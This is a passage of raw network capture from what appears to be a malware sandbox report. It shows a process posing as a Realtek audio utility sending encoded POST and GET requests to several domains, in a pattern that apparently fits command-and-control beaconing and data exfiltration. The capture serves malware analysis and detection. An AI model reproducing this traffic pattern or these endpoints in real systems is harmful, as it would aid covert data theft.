Jan 9, 2025 16:48:19.894273996 CET	528	OUT	GET /qps0/?lV=oe/Nf5ZxPavzyNCK1vJM2Ozzw7iHMrsFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2gmVOP/g7WXCZMIn3pc=&LSbaT=zft4LoBw HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:48:20.080899954 CET	933	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:48:19 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49758	47.83.1.90	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:34.821835041 CET	792	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 44 71 4f 73 54 55 66 46 65 6a 79 37 35 43 77 54 35 41 39 45 73 5a 7a 53 70 32 59 68 49 71 6b 70 43 55 75 4c 76 33 65 2b 7a 61 6b 72 30 39 67 4f 34 35 49 72 4e 62 6c 48 6b 78 66 31 75 77 56 61 73 4c 45 58 52 49 4b 66 42 64 76 4b 59 63 72 47 37 7a 49 39 6d 44 55 49 76 4f 30 71 48 74 4c 38 45 6b 43 5a 56 77 4c 76 4f 4c 4c 2b 67 4f 50 51 37 44 6f 30 33 34 31 2b 6f 53 31 7a 31 78 6d 4d 75 57 47 42 77 4b 78 58 48 72 42 41 44 6f 65 50 6f 39 57 38 58 75 38 52 71 4d 57 38 71 2b 6b 69 51 36 74 45 4b 62 36 65 41 75 4f 71 6d 4c 42 72 6e 63 57 42 4e 41 3d 3d Data Ascii: lV=TW4HYQMdIKn0DqOsTUfFejy75CwT5A9EsZzSp2YhIqkpCUuLv3e+zakr09gO45IrNblHkxf1uwVasLEXRIKfBdvKYcrG7zI9mDUIvO0qHtL8EkCZVwLvOLL+gOPQ7Do0341+oS1z1xmMuWGBwKxXHrBADoePo9W8Xu8RqMW8q+kiQ6tEKb6eAuOqmLBrncWBNA==
Jan 9, 2025 16:48:35.800178051 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:48:35 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49759	47.83.1.90	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:37.664752007 CET	812	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 51 70 43 78 53 4c 75 31 32 2b 32 61 6b 72 38 64 67 50 6c 70 49 77 4e 62 59 6b 6b 31 58 31 75 77 78 61 73 4b 30 58 52 2f 2b 59 48 4e 76 49 55 38 72 45 2f 7a 49 39 6d 44 55 49 76 50 51 41 48 74 44 38 44 55 79 5a 58 53 7a 73 52 37 4c 68 6a 4f 50 51 74 7a 6f 77 33 34 31 63 6f 58 73 57 31 7a 4f 4d 75 54 69 42 78 59 4a 49 4f 72 42 4b 4d 49 66 4c 6b 34 7a 70 62 4e 77 6c 71 71 61 59 72 73 59 49 63 4d 67 65 58 70 4f 36 44 39 53 59 69 37 34 44 6c 65 58 61 51 45 59 64 46 41 48 36 4d 63 6a 38 68 46 52 67 4c 4c 46 4e 32 68 55 3d Data Ascii: lV=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYQpCxSLu12+2akr8dgPlpIwNbYkk1X1uwxasK0XR/+YHNvIU8rE/zI9mDUIvPQAHtD8DUyZXSzsR7LhjOPQtzow341coXsW1zOMuTiBxYJIOrBKMIfLk4zpbNwlqqaYrsYIcMgeXpO6D9SYi74DleXaQEYdFAH6Mcj8hFRgLLFN2hU=
Jan 9, 2025 16:48:38.696535110 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:48:38 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49760	47.83.1.90	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:40.502289057 CET	2578	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 49 70 43 44 4b 4c 76 55 32 2b 78 61 6b 72 39 64 67 53 6c 70 4a 79 4e 62 41 34 6b 31 54 4c 75 79 5a 61 6a 49 38 58 42 4f 2b 59 4f 4e 76 49 63 63 72 42 37 7a 49 6f 6d 44 45 4d 76 4f 67 41 48 74 44 38 44 58 71 5a 54 41 4c 73 4b 37 4c 2b 67 4f 50 6d 37 44 6f 59 33 38 67 72 6f 58 59 73 31 43 75 4d 75 7a 53 42 7a 72 78 49 4d 4c 42 4d 46 59 66 74 6b 34 32 35 62 4e 73 44 71 76 4f 69 72 72 6b 49 4e 61 42 71 48 39 48 73 57 65 36 62 2f 34 73 37 7a 74 33 79 4e 47 68 6a 55 53 58 42 54 36 66 4c 75 48 56 33 62 4f 70 61 76 68 30 68 53 55 63 39 4c 4e 51 59 42 62 46 58 4b 4f 65 5a 64 46 32 48 76 73 5a 78 67 44 76 4e 62 2b 4e 41 55 33 4e 64 51 38 30 55 49 63 6c 37 4f 73 72 73 73 74 5a 49 5a 62 6f 51 6b 37 68 52 51 46 66 71 37 31 53 47 4f 34 74 52 47 70 59 72 34 41 41 76 4a 59 42 37 6b 45 4c 74 4c 52 66 38 73 63 2f 58 4b 7a 50 4a 67 55 32 63 52 43 49 30 48 6c 56 6c 64 6f 4b 59 76 4a 43 [TRUNCATED] Data Ascii: lV=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYIpCDKLvU2+xakr9dgSlpJyNbA4k1TLuyZajI8XBO+YONvIccrB7zIomDEMvOgAHtD8DXqZTALsK7L+gOPm7DoY38groXYs1CuMuzSBzrxIMLBMFYftk425bNsDqvOirrkINaBqH9HsWe6b/4s7zt3yNGhjUSXBT6fLuHV3bOpavh0hSUc9LNQYBbFXKOeZdF2HvsZxgDvNb+NAU3NdQ80UIcl7OsrsstZIZboQk7hRQFfq71SGO4tRGpYr4AAvJYB7kELtLRf8sc/XKzPJgU2cRCI0HlVldoKYvJCtlS7eWmt6rdghCkHY8hWAO4inU3/up73InoWYO1ZzU+wqvmDpkbQoRPPgKKzA/R2QqpCgxC8k6PWIr6GaZjmEjPhwRWlJt5JuoCrKcEpG6E1S4QxFCJvR9eYcvksT2G9m0zhhbkeYwm4faEMMMWchO1RKXRaGVfFomGfn6KgdUHFnQ3fnT+ZXl3JGwacKEQpzerZp+HrTvTz/U5qWVZA2LzbaUR8gHzeQnEWY430fZ0x+s1TirXALCgy2udthlheVtPTzz7z1lezsxt6UZsXlbQVTNJ5Q+B2eh3Jhi/rgCJVOE4slw9vew3dB/ZHtZn/7z+p1hdSn0oCJ4bMgDqh3Bzz2GWSQaYfducim0oFunMSBJs3IDRwYtUQTSmLmsR+C73u4trTk9BMwkdoW6J0A2PdOHT5q6qYHW5YJQ1p0FsQ2jVNNmaTNdIjVECmxlrwBqER1dS+tGtaqSXWeSu6UEP0VEvcVYt9oJWoDJQieVA24aiehWmTjRW/bVvZsjAzLWT3mI3U4Gimd2yINu82cVe45mqtIUBTDRGugBbJTR11wYsdI1YTWNnqLa5VI4QC+c3UCeyzy19RfDTl3Ooix/Ls5WI7J/+8r0z3o+Hmaa/s7hgUQpiZ2uH9ZPd6P9DVz/A8eovQ0AE4e63FNkxtIc+qXaDDe7j8r+ [TRUNCATED]
Jan 9, 2025 16:48:40.502326012 CET	5383	OUT	Data Raw: 78 31 43 43 35 43 4c 59 30 53 66 4b 75 38 6f 49 72 6e 6d 35 32 36 59 70 4f 58 43 44 32 36 36 59 33 31 4d 35 70 51 42 4e 79 4c 77 50 6e 56 5a 61 68 56 4b 35 6e 65 4a 73 63 77 47 4b 54 50 61 6b 61 4a 35 41 65 54 6a 64 67 4a 49 57 64 45 56 32 33 52 Data Ascii: x1CC5CLY0SfKu8oIrnm526YpOXCD266Y31M5pQBNyLwPnVZahVK5neJscwGKTPakaJ5AeTjdgJIWdEV23RLIDCVcroa9Ny/AEEt42oOcxCZuEZo4aX0BNRSHBByKWCDNZLG0CaxFBXO1FfpYjyV7gJBssljeqMgirhxwwvWLyQORtnarNab21QtoDfj2V0oYqFGBY0Baiw7KtowndhyNXrFs3RIonc4I+x7556bZQ3AvTCtcpgu
Jan 9, 2025 16:48:41.498956919 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:48:41 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49761	47.83.1.90	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:43.342102051 CET	529	OUT	GET /nkmx/?lV=eUQnbnMYY/LCOqGESTL4TQrP6i0At1UjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth90fPOn8W2O2KjrJHqc=&LSbaT=zft4LoBw HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:48:44.345208883 CET	139	IN	HTTP/1.1 567 unknown Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:48:44 GMT Content-Length: 17 Connection: close Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65 Data Ascii: Request too large

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49762	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:49.659240007 CET	795	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 43 33 66 61 59 6b 55 63 35 72 38 55 32 2b 44 57 51 41 42 74 51 2b 53 4c 35 56 7a 64 57 41 53 43 33 4a 36 67 50 47 48 4d 75 41 41 33 4a 68 2b 58 4f 30 36 52 4d 36 32 71 56 51 4b 2b 74 54 51 38 52 33 62 38 4e 76 77 43 33 7a 51 64 34 51 55 38 73 54 2b 66 78 2f 33 6c 35 2f 42 55 30 6d 41 78 32 56 70 4e 33 52 67 72 74 57 7a 4e 6b 44 45 4a 44 46 4d 74 7a 64 6e 30 63 6f 67 68 6c 73 4b 6d 66 6a 35 6a 67 4a 4a 67 67 4f 73 54 6b 48 44 47 79 41 51 4c 54 6b 75 39 38 31 43 66 65 74 45 50 75 4b 71 6c 49 49 70 66 70 4e 78 79 73 35 57 2b 6b 55 78 57 39 43 4d 31 4f 46 58 67 30 4e 2b 33 48 77 3d 3d Data Ascii: lV=C3faYkUc5r8U2+DWQABtQ+SL5VzdWASC3J6gPGHMuAA3Jh+XO06RM62qVQK+tTQ8R3b8NvwC3zQd4QU8sT+fx/3l5/BU0mAx2VpN3RgrtWzNkDEJDFMtzdn0coghlsKmfj5jgJJggOsTkHDGyAQLTku981CfetEPuKqlIIpfpNxys5W+kUxW9CM1OFXg0N+3Hw==
Jan 9, 2025 16:48:49.795423031 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49763	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:52.318074942 CET	815	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 31 51 33 4a 46 36 58 63 42 61 52 4c 36 32 71 65 77 4b 37 69 7a 51 4e 52 33 58 72 4e 74 30 43 33 33 34 64 34 51 45 38 73 67 58 74 77 76 33 6e 67 50 42 53 37 47 41 78 32 56 70 4e 33 58 4e 4f 74 57 37 4e 6c 77 4d 4a 44 6b 4d 75 79 64 6e 31 66 6f 67 68 30 38 4b 69 66 6a 35 52 67 49 56 4f 67 4e 55 54 6b 47 7a 47 79 52 52 35 49 55 76 34 32 56 44 39 61 4f 35 41 6e 36 53 53 46 59 64 48 68 74 78 51 67 50 62 6b 35 6d 46 79 2b 52 51 48 4b 31 75 49 32 50 2f 73 61 2b 52 66 45 46 4a 71 46 68 55 62 51 6b 58 78 4f 76 37 61 38 64 45 3d Data Ascii: lV=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct1Q3JF6XcBaRL62qewK7izQNR3XrNt0C334d4QE8sgXtwv3ngPBS7GAx2VpN3XNOtW7NlwMJDkMuydn1fogh08Kifj5RgIVOgNUTkGzGyRR5IUv42VD9aO5An6SSFYdHhtxQgPbk5mFy+RQHK1uI2P/sa+RfEFJqFhUbQkXxOv7a8dE=
Jan 9, 2025 16:48:52.453670979 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49764	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:54.994981050 CET	2578	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 32 77 33 4b 77 75 58 4f 51 61 52 4b 36 32 71 43 67 4b 36 69 7a 51 51 52 33 50 6e 4e 74 35 33 33 78 38 64 2b 44 38 38 71 56 72 74 6c 2f 33 6e 6f 76 42 58 30 6d 41 6b 32 56 35 4a 33 58 39 4f 74 57 37 4e 6c 78 63 4a 58 6c 4d 75 2f 39 6e 30 63 6f 67 39 6c 73 4c 46 66 6a 77 6d 67 49 42 77 6a 39 30 54 6b 6d 6a 47 31 6a 35 35 45 55 76 32 31 56 44 62 61 4f 30 41 6e 37 2b 34 46 59 70 35 68 73 35 51 77 4a 44 37 6a 33 70 37 72 48 51 4a 41 55 32 78 36 4e 33 43 45 4d 68 77 46 6d 70 36 4b 30 41 66 54 79 58 59 61 50 62 6a 68 61 7a 7a 7a 36 36 66 32 4a 6a 67 52 6a 61 49 35 70 55 51 65 65 79 34 31 71 53 5a 62 65 79 64 4a 6c 64 53 6c 37 73 74 50 38 62 51 6e 77 69 30 54 35 4f 52 67 6d 6f 71 42 52 49 45 6d 77 4b 72 32 73 6f 52 70 76 6f 52 43 41 64 32 4f 61 78 6b 4c 55 6b 2f 5a 6b 64 6d 6a 55 4e 4c 79 65 58 55 76 53 4f 33 49 2b 42 32 69 71 4e 34 6a 48 71 37 74 59 35 61 4a 55 43 69 69 6b 6e [TRUNCATED] Data Ascii: lV=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct2w3KwuXOQaRK62qCgK6izQQR3PnNt533x8d+D88qVrtl/3novBX0mAk2V5J3X9OtW7NlxcJXlMu/9n0cog9lsLFfjwmgIBwj90TkmjG1j55EUv21VDbaO0An7+4FYp5hs5QwJD7j3p7rHQJAU2x6N3CEMhwFmp6K0AfTyXYaPbjhazzz66f2JjgRjaI5pUQeey41qSZbeydJldSl7stP8bQnwi0T5ORgmoqBRIEmwKr2soRpvoRCAd2OaxkLUk/ZkdmjUNLyeXUvSO3I+B2iqN4jHq7tY5aJUCiiknmREZA9cZcJkDO2+6oD/LVa2d15kffj9dR6J5GJ07aWok6vBILgh79bpV52H+cR+RE+UczrNL+4F0/w+f4EeShNuSZAyM/94xHEvT1ze5ORCDvmft4wdGDmNiNBkcMbEqG8uyxdDWD49kiEFlR5Lrtao8BOfU0vPvkKhgVPJ6AgcIfM3hrlry9drRguaUok91QHWpywFR0fc9fUUK+LR5nrYHYRNsWpred7L7Kw8aw9VCan1w0kDZrppLXc9PKNe4z6E6QsbfA3orN/rzanbrZVtD3A46lioLf6j0hXFupgIe0UmmQBc+S8qMPedqF7Jodn+xK4UqThoSK+SEtY8umi+qmd5qNuB/mntP3zCGbNBtQfyXupVJCwsPzpLPToP2Hw6oCvhqhS5vCntXxHrwJkYMkKusSCoVzWHSm3VuqJeWGAQbAFLr7ASGlEA940EcKSKqMhARluC4d6MA4QwVGg722mHYfLDXQ7Ib5Vk/XZJrfCeJKJKK8iGxKX1nUtjgaA4hK0V+PHmn1P6H7rzG77xV6g2Q7OjIiIWCM3q1d22eIUVXXFtz8NhIAT4O5qVgW88go0uqbXlqak0PrLNo7VUC3Rmeyzcvu50RVcANF3Yz7+MEbYmGmGmfxM3xkT2aF+IELIP4osdI/4xP7xrpMQFk21H7YSWc1D [TRUNCATED]
Jan 9, 2025 16:48:54.995001078 CET	5386	OUT	Data Raw: 4f 73 69 79 32 2b 71 71 48 2b 59 6e 35 45 43 77 4c 4d 45 6a 2b 45 77 66 42 6e 44 33 79 63 31 69 74 44 2b 63 6d 4f 6d 77 53 66 77 77 55 54 55 2b 53 65 50 39 42 37 75 76 52 36 71 4a 6a 42 4b 4c 38 4a 58 68 62 6f 54 72 4d 37 43 45 2f 57 4c 4b 58 46 Data Ascii: Osiy2+qqH+Yn5ECwLMEj+EwfBnD3yc1itD+cmOmwSfwwUTU+SeP9B7uvR6qJjBKL8JXhboTrM7CE/WLKXFxN1oxq4x3145yC29QWGt71TcHLBFXfLGEyHDrmAvmy94dJihsZnOJD8pg3/9TwDSXm6MTgSvKK4b7VwJ39ltDPo1H11NEKBhGIpkZCtGZ9o84PEhrDpChE3wpt7tKu42LIwVCRUKm4581LQFFYj6X3Ugs2BFmaqFN
Jan 9, 2025 16:48:55.133171082 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49765	76.223.54.146	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:48:57.663496971 CET	530	OUT	GET /t3iv/?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:48:57.803649902 CET	374	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 09 Jan 2025 15:48:57 GMT content-length: 253 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6c 56 3d 50 31 33 36 62 53 59 77 2f 62 6f 69 6e 36 75 74 45 42 5a 37 50 4c 43 36 38 32 44 59 47 51 48 6b 39 71 4b 4c 65 54 6d 58 72 57 41 65 50 79 61 48 54 53 44 4d 46 6f 61 75 42 54 57 78 30 69 67 31 53 33 43 56 46 73 78 33 30 69 55 74 6a 52 56 51 69 42 79 35 35 49 33 59 70 39 39 47 68 33 6b 6b 38 48 35 48 32 41 45 4d 71 6b 57 42 36 67 6b 69 53 48 41 44 77 50 63 3d 26 4c 53 62 61 54 3d 7a 66 74 34 4c 6f 42 77 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49766	160.25.166.123	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:49:05.620799065 CET	783	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 78 7a 39 6d 75 4f 35 64 48 50 31 76 52 6e 35 43 38 56 44 71 6a 50 65 4b 42 58 6e 66 38 50 4a 78 2b 34 2f 75 68 69 7a 41 35 62 35 36 52 46 57 4d 6e 71 52 37 6b 69 6c 32 34 4d 4a 53 32 63 78 4d 30 55 44 4e 32 67 74 66 6a 68 74 57 56 6f 35 4a 61 48 50 5a 63 31 4b 7a 6f 77 78 4e 41 46 73 53 4c 4d 48 33 5a 51 58 78 68 4a 54 51 49 52 48 72 2f 30 37 6a 42 39 72 68 31 6c 36 52 67 70 66 43 6b 2f 45 75 6d 66 72 7a 75 72 48 30 36 47 4a 6b 48 30 39 44 58 75 62 6b 36 58 4a 65 47 56 2b 42 72 76 70 41 67 33 4b 53 53 6f 38 33 67 6e 37 37 4a 63 61 31 7a 41 3d 3d Data Ascii: 